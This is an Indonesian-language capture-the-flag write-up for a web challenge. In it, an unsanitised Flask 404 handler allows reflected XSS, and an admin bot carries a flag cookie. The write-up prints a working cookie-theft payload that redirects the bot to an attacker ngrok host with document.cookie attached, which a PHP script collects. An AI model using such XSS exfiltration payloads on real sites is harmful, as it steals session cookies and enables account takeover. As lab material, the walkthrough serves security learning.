Diberikan sebuah source code dari web dalam bahasa python. Jika kita lihat app.py, disitu kita dapat menginput url, dan url akan dipass sebagai parameter dalam function visit_report()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
from flask import Flask, request, render_template from urllib.parse import unquote from bot import visit_report app = Flask(__name__) @app.route("/") def index(): return render_template("index.html") @app.route("/api/submit", methods=["POST"]) def submit(): try: url = request.json.get("url") assert(url.startswith('http://') or url.startswith('https://')) visit_report(url) return {"success": 1, "message": "Thank you for your valuable submition!"} except: return {"failure": 1, "message": "Something went wrong."} @app.errorhandler(404) def page_not_found(error): return "<h1>URL %s not found</h1><br/>" % unquote(request.url), 404 app.run(host="0.0.0.0", port=1337) |
Lalu saya coba akses file kedua, yaitu bot.py. Disitu awalnya selenium akan melakukan GET request ke 127.0.0.1:1337, dan set cookie disana dengan key flag dan valuenya flag yang perlu didapatkan. Setelah itu, dia akan melakukan GET request ke inputan kita.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.support.ui import WebDriverWait def visit_report(url): options = Options() options.add_argument('headless') options.add_argument('no-sandbox') options.add_argument('disable-dev-shm-usage') options.add_argument('disable-infobars') options.add_argument('disable-background-networking') options.add_argument('disable-default-apps') options.add_argument('disable-extensions') options.add_argument('disable-gpu') options.add_argument('disable-sync') options.add_argument('disable-translate') options.add_argument('hide-scrollbars') options.add_argument('metrics-recording-only') options.add_argument('mute-audio') options.add_argument('no-first-run') options.add_argument('dns-prefetch-disable') options.add_argument('safebrowsing-disable-auto-update') options.add_argument('media-cache-size=1') options.add_argument('disk-cache-size=1') options.add_argument('user-agent=BugHTB/1.0') browser = webdriver.Chrome('chromedriver', options=options, service_args=['--verbose', '--log-path=/tmp/chromedriver.log']) browser.get('http://127.0.0.1:1337/') browser.add_cookie({ 'name': 'flag', 'value': 'CHTB{f4k3_fl4g_f0r_t3st1ng}' }) try: browser.get(url) WebDriverWait(browser, 5).until(lambda r: r.execute_script('return document.readyState') == 'complete') except: pass finally: browser.quit() |
Oleh karena itu, bagaimanapun caranya, kita harus melakukan GET request ke localhost:1337 di sisi server soal terlebih dahulu, lalu kirim cookienya ke kita. Jika kita lihat kembali code app.py, disitu terdapat errorhandler(404), dimana jika URL not found, disitu request.url akan diparse ke tag <h1>.
1 2 3 |
@app.errorhandler(404) def page_not_found(error): return "<h1>URL %s not found</h1><br/>" % unquote(request.url), 404 |
Melalui error handler diatas, kita bisa melakukan eksploitasi terhadap kerentanan XSS, dikarenakan request.url tidak disanitasi. Saya coba gunakan payload yang paling sering digunakan untuk eksploitasi XSS, yaitu <script>alert(1)</script> dan akses http://165.227.232.115:30820/<script>alert(1)</script>. Disitu muncul pop up XSS.

Untuk mengambil cookie dari user, kita tidak bisa langsung memasukkan payload <script>alert(document.cookie)</script> dikarenakan alert tersebut akan memunculkan cookie milik kita, bukan cookie milik user yang ingin diexploit. Oleh karena itu, kita perlu host sebuah server, lalu redirect user ke server tersebut dan ambil cookienya dengan memasukkan document.cookie pada sebuah parameter. Saya host file php sederhana yang akan mengambil value dari parameter c pada GET request, dan valuenya akan disimpan di file bernama flag.txt.

Host file php nya dengan ngrok

Masukkan input http://127.0.0.1:1337/<script>document.location=’http://77b9b9d27732.ngrok.io?c=’+document.cookie</script> dan tunggu beberapa saat. Payload XSS diatas akan redirect user ke server ngrok saya, dan disitu saya tambahkan parameter c dengan valuenya document.cookie, yang berarti kita bisa mengambil cookie user dengan mengambil value dari $_GET[‘c’] pada PHP. Setelah itu ketika user redirected ke server ngrok saya, saya berhasil mendapatkan flagnya.

Flag : CHTB{th1s_1s_my_bug_r3p0rt}